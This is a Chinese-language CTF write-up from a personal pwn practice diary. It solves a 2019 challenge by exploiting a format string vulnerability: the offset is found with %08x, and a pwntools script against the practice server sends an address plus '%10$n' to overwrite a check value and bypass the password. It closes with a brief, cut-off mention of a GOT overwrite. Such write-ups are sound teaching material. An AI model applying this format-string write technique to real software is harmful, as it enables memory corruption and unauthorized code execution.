导语

pillar的pwn刷题日记

[第五空间2019 决赛]PWN5 1

检查一下

img

32位,开启canary和nx

利用strings可以找到/bin/sh

img

ida打开,看到system函数和printf

img

并且看到这里直接printf了我们输入的name

img

所以直接格式化字符串,将unk_804C044的值改了,然后输入相同的内容就可。

利用%08x找到格式化字符串和我们之间的距离为10

img

格式化字符串漏洞即 格式化的%n会往当前所指的地址的内容的地址写入已经打印出来的字符的长度。再利用X$(X为任意数值)来作为距离格式化字符串所在地址的偏移量,即可实现任意位置写。

然后我们在AAAA的地方写上0x804c044,在加上%10$n就可以将AAAA所在位置的内容地址写为len(0x804c044)+len(%10$n)=4

from pwn import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sla=lambda x,y:io.sendlineafter(x,y)

io=remote('node4.buuoj.cn',25064)

payload=p32(0x804c044)+'%10$n'
sla('name:',payload)
sla('passwd:','4')

io.interactive()

但是没太搞懂这个要怎么在gdb里动态调试,希望有大手子教一下……

后面看别人wp,可以改写atoi的got地址为system,然后输入/user/bin